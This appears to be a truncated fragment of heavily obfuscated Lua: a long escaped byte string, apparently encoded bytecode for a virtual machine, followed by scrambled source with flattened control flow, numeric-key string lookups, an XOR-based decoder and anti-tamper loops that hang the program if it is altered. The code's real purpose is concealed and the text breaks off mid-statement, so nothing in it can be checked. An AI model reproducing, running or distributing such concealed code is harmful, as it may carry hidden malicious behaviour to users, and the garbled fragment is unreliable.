9\195\76\7\0\0\209\1V\0\16\0\0\0\0\0\0\36\4\0\0\0\19\0\0\0\1\17Z\0\14\0\3\0\0\0\8\0\0\0\156\67\128\1\0\1\6V\0\14\0\108\0\0\0\1\133\131\6\0\0\1\7Z\0\14\0\14\0\0\0\147\1\0\3\139\195\70\7\0\1\8V\0\16\0\104\0\0\0\1\1\68\8\0\0\1\9Z\0\14\0\3\0\0\0\2\0\0\0\156\131\128\1\0\1\6V\0\15\0\108\0\0\0\1\197\131\6\0\0\1\7Z\0\15\0\15\0\0\0\147\1\0\3\203\195\198\7\0\1\8V\0\17\0\58\0\0\0\1\65\68\7\0\0\1\9Z\0\15\0\3\0\0\0\2\0\0\0\220\131\128\1\0\1\10Z\0\16\0\8\0\0\0\5\1\0\3\6\4\77\4\0\1\7Z\0\16\0\16\0\0\0\222\1\0\3\11\68\77\8\0\0\104\3V\0\18\0\1\0\0\0\0\164\68\0\0\0\20\0\0\0\0\51\2Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\21\0\0\0\1\17Z\0\16\0\3\0\0\0\11\0\0\0\28\68\128\1\0\1\6V\0\16\0\14\0\0\0\1\5\132\13\0\0\1\10Z\0\16\0\16\0\0\0\62\1\0\3\6\196\77\8\0\1\8V\0\17\0\159\0\0\0\1\65\4\14\0\0\1\9Z\0\16\0\2\0\0\0\2\0\0\0\28\132\0\1\0\1\5Z\0\16\0\238\1\0\0\8\1\0\4\9\4\194\156\0\1\5Z\0\16\0\0\1\0\0\40\1\0\4\9\196\78\157\0\1\5Z\0\16\0\128\1\0\0\196\1\0\4\9\68\79\158\0\1\6V\0\17\0\1\1\0\0\1\69\196\15\0\0\1\10Z\0\17\0\17\0\0\0\73\1\0\3\70\4\208\8\0\1\8V\0\18\0\18\0\0\0\1\129\68\16\0\0\1\8V\0\19\0\18\0\0\0\1\193\68\16\0\0\1\8V\0\20\0\18\0\0\0\1\1\69\16\0\0\1\9Z\0\17\0\4\0\0\0\2\0\0\0\92\132\0\2\0\1\5Z\0\16\0\201\1\0\0\17\0\0\2\9\68\4\159\0\1\20V\0\17\0\2\0\0\0\0\100\132\0\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\16\0\0\0\0\0\0\0\0\0\0\8\0\1\21Z\0\0\0\8\0\0\0\0\0\0\0\0\0\0\4\0\1\21Z\0\0\0\10\0\0\0\0\0\0\0\0\0\0\5\0\1\21Z\0\0\0\4\0\0\0\0\0\0\0\0\0\0\2\0\0\254\1V\0\17\0\63\0\0\0\1\71\132\16\0\0\22\0\0\0\1\20V\0\17\0\3\0\0\0\0\100\196\0\0\0\1\21Z\0\0\0\9\0\0\0\0\0\0\0\0\0\128\4\0\1\22V\0\17\0\223\0\0\0\1\71\196\16\0\0\1\20V\0\17\0\4\0\0\0\0\100\4\1\0\0\1\21Z\0\0\0\9\0\0\0\0\0\0\0\0\0\128\4\0\1\22V\0\17\0\50\0\0\0\1\71\4\17\0\0\1\20V\0\17\0\5\0\0\0\0\100\68\1\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\9\0\0\0\0\0\0\0\0\0\128\4\0\1\21Z\0\0\0\8\0\0\0\0\0\0\0\0\0\0\4\0\1\21Z\0\0\0\16\0\0\0\0\0\0\0\0\0\0\8\0\1\22V\0\17\0\90\0\0\0\1\71\68\17\0\0\1\19V\0\17\0\6\0\0\0\0\100\132\1\0\0\1\22V\0\17\0\180\0\0\0\1\71\132\17\0\0\1\10Z\0\17\0\8\0\0\0\5\1\0\3\70\4\77\4\0\1\7Z\0\17\0\17\0\0\0\122\1\0\3\75\196\204\8\0\1\20V\0\19\0\7\0\0\0\0\228\196\1\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\12\0\0\0\0\0\0\0\0\0\0\6\0\1\21Z\0\0\0\13\0\0\0\0\0\0\0\0\0\128\6\0\1\17Z\0\17\0\3\0\0\0\19\0\0\0\92\68\128\1\0\1\6V\0\17\0\108\0\0\0\1\69\132\6\0\0\1\7Z\0\17\0\17\0\0\0\147\1\0\3\75\196\198\8\0\1\8V\0\19\0\253\0\0\0\1\193\4\7\0\0\1\9Z\0\17\0\3\0\0\0\2\0\0\0\92\132\128\1\0\1\10Z\0\17\0\17\0\0\0\19\1\0\3\70\132\200\8\0\1\6V\0\18\0\108\0\0\0\1\133\132\6\0\0\1\7Z\0\18\0\18\0\0\0\147\1\0\3\139\196\70\9\0\1\8V\0\20\0\64\0\0\0\1\1\133\7\0\0\1\9Z\0\18\0\3\0\0\0\2\0\0\0\156\132\128\1\0\1\10Z\0\18\0\18\0\0\0\135\1\0\3\134\4\73\9\0\1\6V\0\19\0\108\0\0\0\1\197\132\6\0\0\1\7Z\0\19\0\19\0\0\0\147\1\0\3\203\196\198\9\0\1\8V\0\21\0\32\0\0\0\1\65\197\7\0\0\1\9Z\0\19\0\3\0\0\0\2\0\0\0\220\132\128\1\0\1\6V\0\20\0\108\0\0\0\1\5\133\6\0\0\1\7Z\0\20\0\20\0\0\0\147\1\0\3\11\197\70\10\0\1\8V\0\22\0\58\0\0\0\1\129\69\7\0\0\1\9Z\0\20\0\3\0\0\0\2\0\0\0\28\133\128\1\0\1\10Z\0\21\0\19\0\0\0\10\1\0\3\70\69\201\9\0\1\7Z\0\22\0\17\0\0\0\230\1\0\3\139\197\200\8\0\1\9Z\0\22\0\2\0\0\0\2\0\0\0\156\133\0\1\0\1\11Z\0\23\0\4\0\0\0\0\0\0\0\194\5\0\0\0\1\12Z\0\24\0\25\0\0\0\0\0\0\0\3\6\128\12\0\1\6V\0\26\0\14\0\0\0\1\133\134\13\0\0\1\10Z\0\26\0\26\0\0\0\62\1\0\3\134\198\77\13\0\1\8V\0\27\0\159\0\0\0\1\193\6\14\0\0\1\9Z\0\26\0\2\0\0\0\2\0\0\0\156\134\0\1\0\1\5Z\0\26\0\238\1\0\0\8\1\0\4\137\6\194\156\0\1\5Z\0\26\0\0\1\0\0\40\1\0\4\137\198\78\157\0\1\5Z\0\26\0\128\1\0\0\200\1\0\4\137\198\69\158\0\1\6V\0\27\0\1\1\0\0\1\197\198\15\0\0\1\10Z\0\27\0\27\0\0\0\73\1\0\3\198\6\208\13\0\1\8V\0\28\0\18\0\0\0\1\1\71\16\0\0\1\8V\0\29\0\18\0\0\0\1\65\71\16\0\0\1\8V\0\30\0\18\0\0\0\1\129\71\16\0\0\1\9Z\0\27\0\4\0\0\0\2\0\0\0\220\134\0\2\0\1\5Z\0\26\0\201\1\0\0\27\0\0\2\137\198\6\159\0\1\20V\0\27\0\8\0\0\0\0\228\6\2\0\0\1\21Z\0\0\0\26\0\0\0\0\0\0\0\0\0\0\13\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\22\0\0\0\0\0\0\0\0\0\0\11\0\1\21Z\0\0\0\21\0\0\0\0\0\0\0\0\0\128\10\0\1\21Z\0\0\0\19\0\0\0\0\0\0\0\0\0\128\9\0\1\22V\0\27\0\241\0\0\0\1\199\198\17\0\0\1\20V\0\27\0\9\0\0\0\0\228\70\2\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\18\0\0\0\0\0\0\0\0\0\0\9\0\1\21Z\0\0\0\22\0\0\0\0\0\0\0\0\0\0\11\0\1\21Z\0\0\0\26\0\0\0\0\0\0\0\0\0\0\13\0\1\22V\0\27\0\198\0\0\0\1\199\6\18\0\0\1\10Z\0\27\0\8\0\0\0\5\1\0\3\198\6\77\4\0\1\7Z\0\27\0\27\0\0\0\122\1\0\3\203\198\204\13\0\1\20V\0\29\0\10\0\0\0\0\100\135\2\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\23\0\0\0\0\0\0\0\0\0\128\11\0\1\21Z\0\0\0\24\0\0\0\0\0\0\0\0\0\0\12\0\1\17Z\0\27\0\3\0\0\0\15\0\0\0\220\70\128\1\0\1\10Z\0\27\0\20\0\0\0\81\1\0\3\198\70\82\10\0\1\7Z\0\27\0\27\0\0\0\122\1\0\3\203\198\204\13\0\1\20V\0\29\0\11\0\0\0\0\100\199\2\0\0\1\21Z\0\0\0\25\0\0\0\0\0\0\0\0\0\128\12\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\13\0\0\0\0\0\0\0\0\0\128\6\0\1\21Z\0\0\0\9\0\0\0\0\0\0\0\0\0\128\4\0\1\17Z\0\27\0\3\0\0\0\4\0\0\0\220\70\128\1\0\1\6V\0\27\0\53\0\0\0\1\197\134\18\0\0\1\6V\0\28\0\108\0\0\0\1\5\135\6\0\0\1\9Z\0\27\0\2\0\0\0\2\0\0\0\220\134\0\1\0\1\10Z\0\28\0\27\0\0\0\89\1\0\3\6\199\210\13\0\1\6V\0\29\0\214\0\0\0\1\69\7\19\0\0\0\33\8Z\0\27\0\30\0\0\0\0\0\0\0\128\7\128\13\0\23\0\0\0\1\11Z\0\31\0\5\0\0\0\11\0\0\0\194\7\0\0\0\1\17Z\0\29\0\3\0\0\0\0\0\0\0\92\71\128\1\0\1\6V\0\29\0\84\0\0\0\1\69\71\19\0\0\1\20V\0\30\0\12\0\0\0\0\164\7\3\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\21Z\0\0\0\23\0\0\0\0\0\0\0\0\0\128\11\0\1\21Z\0\0\0\24\0\0\0\0\0\0\0\0\0\0\12\0\1\21Z\0\0\0\28\0\0\0\0\0\0\0\0\0\0\14\0\1\21Z\0\0\0\25\0\0\0\0\0\0\0\0\0\128\12\0\1\9Z\0\29\0\2\0\0\0\2\0\0\0\92\135\0\1\0\1\5Z\0\27\0\89\1\0\0\29\0\0\2\201\70\135\165\0\1\6V\0\29\0\155\0\0\0\1\69\135\19\0\0\1\6V\0\30\0\108\0\0\0\1\133\135\6\0\0\1\7Z\0\30\0\30\0\0\0\54\1\0\3\139\199\83\15\0\1\8V\0\32\0\39\0\0\0\1\1\8\20\0\0\1\9Z\0\30\0\3\0\0\0\0\0\0\0\156\7\128\1\0\1\9Z\0\29\0\0\0\0\0\2\0\0\0\92\135\0\0\0\0\175\23Z\0\29\0\4\0\0\0\2\0\0\0\92\135\128\0\0\24\0\0\0\1\7Z\0\30\0\29\0\0\0\52\1\0\3\139\71\212\14\0\1\9Z\0\30\0\2\0\0\0\2\0\0\0\156\135\0\1\0\1\7Z\0\31\0\30\0\0\0\68\1\0\3\203\135\84\15\0\1\8V\0\33\0\4\0\0\0\1\65\200\20\0\0\1\9Z\0\31\0\3\0\0\0\2\0\0\0\220\135\128\1\0\1\7Z\0\32\0\30\0\0\0\68\1\0\3\11\136\84\15\0\1\8V\0\34\0\236\0\0\0\1\129\8\0\0\0\1\8V\0\35\0\144\0\0\0\1\193\8\21\0\0\1\9Z\0\32\0\4\0\0\0\2\0\0\0\28\136\0\2\0\1\7Z\0\33\0\30\0\0\0\68\1\0\3\75\136\84\15\0\1\8V\0\35\0\66\0\0\0\1\193\72\21\0\0\1\8V\0\36\0\107\0\0\0\1\1\137\21\0\0\1\9Z\0\33\0\4\0\0\0\2\0\0\0\92\136\0\2\0\1\7Z\0\34\0\30\0\0\0\68\1\0\3\139\136\84\15\0\1\8V\0\36\0\36\0\0\0\1\1\201\21\0\0\1\8V\0\37\0\107\0\0\0\1\65\137\21\0\0\1\9Z\0\34\0\4\0\0\0\2\0\0\0\156\136\0\2\0\1\7Z\0\35\0\31\0\0\0\44\1\0\3\203\8\214\15\0\1\8V\0\37\0\190\0\0\0\1\65\73\22\0\0\1\11Z\0\38\0\15\0\0\0\22\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\44\1\0\3\203\8\86\16\0\1\8V\0\37\0\236\0\0\0\1\65\9\0\0\0\0\89\24Z\0\38\0\20\0\0\0\24\0\0\0\130\9\128\0\0\25\0\0\0\1\17Z\0\35\0\4\0\0\0\6\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\220\1\0\3\203\136\86\16\0\1\8V\0\37\0\224\0\0\0\1\65\9\3\0\0\1\20V\0\38\0\13\0\0\0\0\164\73\3\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\13\1\0\3\203\200\86\16\0\1\8V\0\37\0\72\0\0\0\1\65\73\1\0\0\1\8V\0\38\0\99\0\0\0\1\129\137\1\0\0\1\20V\0\39\0\14\0\0\0\0\228\137\3\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\6\0\0\0\220\72\128\2\0\1\7Z\0\35\0\32\0\0\0\237\1\0\3\203\8\87\16\0\1\8V\0\37\0\17\0\0\0\1\65\73\0\0\0\1\4Z\0\38\0\4\0\0\0\0\0\0\0\138\9\0\2\0\1\8V\0\39\0\145\0\0\0\1\193\73\23\0\0\1\8V\0\40\0\209\0\0\0\1\1\138\23\0\0\1\8V\0\41\0\146\0\0\0\1\65\202\23\0\0\1\8V\0\42\0\85\0\0\0\1\129\138\0\0\0\0\204\17Z\0\38\0\4\0\0\0\1\0\0\0\162\73\0\2\0\26\0\0\0\1\8V\0\39\0\85\0\0\0\1\193\137\0\0\0\1\20V\0\40\0\15\0\0\0\0\36\202\3\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\6\0\0\0\17\0\0\0\220\72\0\3\0\1\7Z\0\35\0\32\0\0\0\220\1\0\3\203\136\86\16\0\1\8V\0\37\0\61\0\0\0\1\65\9\24\0\0\1\20V\0\38\0\16\0\0\0\0\164\9\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\220\1\0\3\203\136\86\16\0\1\8V\0\37\0\105\0\0\0\1\65\73\24\0\0\1\20V\0\38\0\17\0\0\0\0\164\73\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\78\1\0\3\203\136\88\16\0\1\8V\0\37\0\70\0\0\0\1\65\201\24\0\0\1\8V\0\38\0\2\1\0\0\1\129\201\2\0\0\1\8V\0\39\0\1\0\0\0\1\193\201\4\0\0\1\8V\0\40\0\186\0\0\0\1\1\10\25\0\0\1\8V\0\41\0\40\0\0\0\1\65\202\14\0\0\1\20V\0\42\0\18\0\0\0\0\164\138\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\8\0\0\0\16\0\0\0\220\72\0\4\0\1\7Z\0\35\0\32\0\0\0\184\1\0\3\203\72\89\16\0\1\8V\0\37\0\5\1\0\0\1\65\137\25\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\98\1\0\3\134\9\65\19\0\1\20V\0\39\0\19\0\0\0\0\228\201\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\13\0\0\0\220\72\128\2\0\1\7Z\0\35\0\34\0\0\0\44\1\0\3\203\8\86\17\0\1\8V\0\37\0\229\0\0\0\1\65\73\26\0\0\1\11Z\0\38\0\14\0\0\0\14\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\0\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\224\0\0\0\1\65\9\3\0\0\1\20V\0\38\0\20\0\0\0\0\164\9\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\239\0\0\0\1\65\137\26\0\0\1\20V\0\38\0\21\0\0\0\0\164\73\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\13\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\13\1\0\3\203\200\86\17\0\1\8V\0\37\0\72\0\0\0\1\65\73\1\0\0\1\8V\0\38\0\99\0\0\0\1\129\137\1\0\0\1\20V\0\39\0\22\0\0\0\0\228\137\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\12\0\0\0\220\72\128\2\0\1\7Z\0\35\0\34\0\0\0\237\1\0\3\203\8\87\17\0\1\8V\0\37\0\17\0\0\0\1\65\73\0\0\0\1\4Z\0\38\0\4\0\0\0\0\0\0\0\138\9\0\2\0\1\8V\0\39\0\145\0\0\0\1\193\73\23\0\0\1\8V\0\40\0\209\0\0\0\1\1\138\23\0\0\1\8V\0\41\0\146\0\0\0\1\65\202\23\0\0\1\8V\0\42\0\85\0\0\0\1\129\138\0\0\0\1\26Z\0\38\0\4\0\0\0\1\0\0\0\162\73\0\2\0\1\8V\0\39\0\85\0\0\0\1\193\137\0\0\0\1\20V\0\40\0\23\0\0\0\0\36\202\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\6\0\0\0\1\0\0\0\220\72\0\3\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\211\0\0\0\1\65\201\26\0\0\1\20V\0\38\0\24\0\0\0\0\164\9\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\11\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\242\0\0\0\1\65\9\27\0\0\1\20V\0\38\0\25\0\0\0\0\164\73\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\19\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\78\1\0\3\203\136\88\17\0\1\8V\0\37\0\70\0\0\0\1\65\201\24\0\0\1\8V\0\38\0\2\1\0\0\1\129\201\2\0\0\1\8V\0\39\0\1\0\0\0\1\193\201\4\0\0\1\8V\0\40\0\186\0\0\0\1\1\10\25\0\0\1\8V\0\41\0\40\0\0\0\1\65\202\14\0\0\1\20V\0\42\0\26\0\0\0\0\164\138\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\8\0\0\0\20\0\0\0\220\72\0\4\0\1\7Z\0\35\0\34\0\0\0\184\1\0\3\203\72\89\17\0\1\8V\0\37\0\5\1\0\0\1\65\137\25\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\98\1\0\3\134\9\65\19\0\1\20V\0\39\0\27\0\0\0\0\228\201\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\13\0\0\0\220\72\128\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\80\0\0\0\1\65\73\27\0\0\1\19V\0\38\0\28\0\0\0\0\164\9\7\0\0\1\17Z\0\35\0\4\0\0\0\0\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\185\0\0\0\1\65\137\27\0\0\1\11Z\0\38\0\9\0\0\0\8\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\7\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\220\1\0\3\203\136\214\16\0\1\8V\0\37\0\123\0\0\0\1\65\201\27\0\0\1\20V\0\38\0\29\0\0\0\0\164\73\7\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\8\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\78\1\0\3\203\136\216\16\0\1\8V\0\37\0\94\0\0\0\1\65\9\28\0\0\1\8V\0\38\0\200\0\0\0\1\129\201\5\0\0\1\8V\0\39\0\40\0\0\0\1\193\201\14\0\0\1\8V\0\40\0\110\0\0\0\1\1\74\28\0\0\1\8V\0\41\0\65\0\0\0\1\65\138\28\0\0\1\20V\0\42\0\30\0\0\0\0\164\138\7\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\8\0\0\0\16\0\0\0\220\72\0\4\0\1\7Z\0\35\0\33\0\0\0\184\1\0\3\203\72\217\16\0\1\8V\0\37\0\120\0\0\0\1\65\201\28\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\132\1\0\3\134\73\70\19\0\1\20V\0\39\0\31\0\0\0\0\228\201\7\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\9\0\0\0\220\72\128\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\119\0\0\0\1\65\9\29\0\0\1\11Z\0\38\0\1\0\0\0\14\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\24\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\220\1\0\3\203\136\214\16\0\1\8V\0\37\0\119\0\0\0\1\65\9\29\0\0\1\19V\0\38\0\32\0\0\0\0\164\9\8\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\78\1\0\3\203\136\216\16\0\1\8V\0\37\0\221\0\0\0\1\65\73\29\0\0\1\8V\0\38\0\200\0\0\0\1\129\201\5\0\0\1\8V\0\39\0\1\0\0\0\1\193\201\4\0\0\1\8V\0\40\0\110\0\0\0\1\1\74\28\0\0\1\8V\0\41\0\65\0\0\0\1\65\138\28\0\0\1\19V\0\42\0\33\0\0\0\0\164\74\8\0\0\1\17Z\0\35\0\8\0\0\0\1\0\0\0\220\72\0\4\0\1\7Z\0\35\0\33\0\0\0\237\1\0\3\203\8\215\16\0\1\8V\0\37\0\67\0\0\0\1\65\137\29\0\0\1\4Z\0\38\0\2\0\0\0\0\0\0\0\138\9\0\1\0\1\8V\0\39\0\202\0\0\0\1\193\201\29\0\0\1\8V\0\40\0\111\0\0\0\1\1\10\30\0\0\1\26Z\0\38\0\2\0\0\0\1\0\0\0\162\73\0\1\0\1\8V\0\39\0\202\0\0\0\1\193\201\29\0\0\1\19V\0\40\0\34\0\0\0\0\36\138\8\0\0\1\17Z\0\35\0\6\0\0\0\17\0\0\0\220\72\0\3\0\1\7Z\0\35\0\33\0\0\0\184\1\0\3\203\72\217\16\0\1\8V\0\37\0\149\0\0\0\1\65\73\30\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\212\1\0\3\134\201\67\19\0\1\19V\0\39\0\35\0\0\0\0\228\201\8\0\0\1\17Z\0\35\0\5\0\0\0\4\0\0\0\220\72\128\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\148\0\0\0\1\65\137\30\0\0\1\11Z\0\38\0\12\0\0\0\4\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\5\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\27\0\0\0\1\65\9\31\0\0\1\19V\0\38\0\36\0\0\0\0\164\9\9\0\0\1\17Z\0\35\0\4\0\0\0\8\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\38\0\0\0\1\65\73\31\0\0\1\19V\0\38\0\37\0\0\0\0\164\73\9\0\0\1\17Z\0\35\0\4\0\0\0\0\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\191\0\0\0\1\65\137\31\0\0\1\19V\0\38\0\38\0\0\0\0\164\137\9\0\0\1\17Z\0\35\0\4\0\0\0\23\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\74\0\0\0\1\65\201\31\0\0\1\19V\0\38\0\39\0\0\0\0\164\201\9\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\79\0\0\0\1\65\9\32\0\0\1\11Z\0\38\0\4\0\0\0\4\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\16\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\161\0\0\0\1\65\73\32\0\0\1\19V\0\38\0\40\0\0\0\0\164\9\10\0\0\1\17Z\0\35\0\4\0\0\0\11\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\181\0\0\0\1\65\201\9\0\0\1\11Z\0\38\0\12\0\0\0\13\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\17\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\134\0\0\0\1\65\137\32\0\0\1\19V\0\38\0\41\0\0\0\0\164\73\10\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\142\0\0\0\1\65\201\32\0\0\1\19V\0\38\0\42\0\0\0\0\164\137\10\0\0\1\17Z\0\35\0\4\0\0\0\11\0\0\0\220\72\0\2\0\0\225\5Z\0\2\0\2\0\0\0\0\0\0\0\30\0\128\0\0\27\0\0\0\2"do if(b[k]==nil)then return(function()do while d~=c do a=j(a,1,#a-1)..(b[1909282])end end end)()end end ;local a={[(b[7379284])]=function()return(function()local a,c=o(79,99)do if a then n()return(b[3123139])or c end end ;return n()and(b[2165149])end)()end,[(b[1735519])]=function()return(b[2165149])end}local function d(a)if p(a,true,5365109)or u(p(z(s),nil,(b[5979149])),(b[9276725]))then return n()end end;local k=m({},a)local n=function(a,b)local c,d=1,0;do while a>0 and b>0 do local e,f=a%2,b%2;do if e~=f then d=d+c end end ;a,b,c=(a-e)/2,(b-f)/2,c*2 end end ;do if a<b then a=b end end ;while a>0 do local b=a%2;do if b>0 then d=d+c end end ;a,c=(a-b)/2,c*2 end;return d end;local n={}do for a=1,q(64,4,3647149)do n[a]=e(q(a,1,8986428))end end ;local function u(a,b)local c,d=1,h;while p(h,a,8493765)and p(h,b,8493765)do local e,f=q(a,2,9364006),q(b,2,9364006)b=(b-f)/2;d=e~=f and(d+c)or d;a=(a-e)/2;c=c*2 end;a=a<b and b or a;while p(h,a,8493765)do local b=q(a,2,9364006)d=b>h and(d+c)or d;c=c*2;a=(a-b)/2 end;return d end;local p;local q=(function(a,...)return a and J end)((b[486093]))local r=r((b[2165149]),e(),9139765)do local a=85.45868090538846;local c=871;local d=24.918320666776665;local e={}repeat do if((d==2.6978123858464427)and(a==282.0623081835416)and(e[573]==false)and(e[91]==(b[3450356]))and(e[957]==(b[7313550])))and(c+446==1339)then d=24.918320666776665;c=871;a=85.45868090538846 end end ;do if((d==582.5310868417015)and(a==374.9382563168947)and(e[573]==false)and(e[91]==(b[4752401]))and(e[957]==(b[7929574])))and(c+34==102)then e[957]=(b[5152716])a=129.9187526660343;e[91]=(b[2920898])E=function(a,...)return p(a,q,...)end;c=982;e[573]=false;d=431.6780988882215 end end ;do if(c+0==0)and((d==97.31282132951759)and(a==650.9189126363602)and(e[573]==false)and(e[91]==(b[7219716]))and(e[957]==(b[3005948])))then e[957]=(b[7929574])c=68;e[573]=false;p=function(a,b)local c=""t(1,l(a),function(d)c=c..s[u(f(a,d),b)]end)return c end;a=374.9382563168947;e[91]=(b[4752401])d=582.5310868417015 end end ;do if(c*98==96236)then do if((d==431.6780988882215)and(a==129.9187526660343)and(e[573]==false)and(e[91]==(b[2920898]))and(e[957]==(b[5152716])))and(c+491==1473)then break end end end end ;if(c*87==75777)then while(c+435==1306)and((d==24.918320666776665)and(a==85.45868090538846))do d=97.31282132951759;c=0;e[957]=(b[3005948])a=650.9189126363602;e[91]=(b[7219716])e[573]=false;break end end until(false)end;local n={[0]=function()end,[1]=function()do while E~=nil do n[759.9350305610093]=828.78261654012 end end ;return{0.4774423151277558}end}local p=nil(n)[3]=(n[1]) ;(n)[0]()local function n(e,j,o,p,q)local r;local v=(b[3592950])local v;local w=(b[7732212])local w;local x;local y;local z;do for a in d do break end end ;local E;local G;local I=false;local J;local L;local M=(b[9777425])local M;do 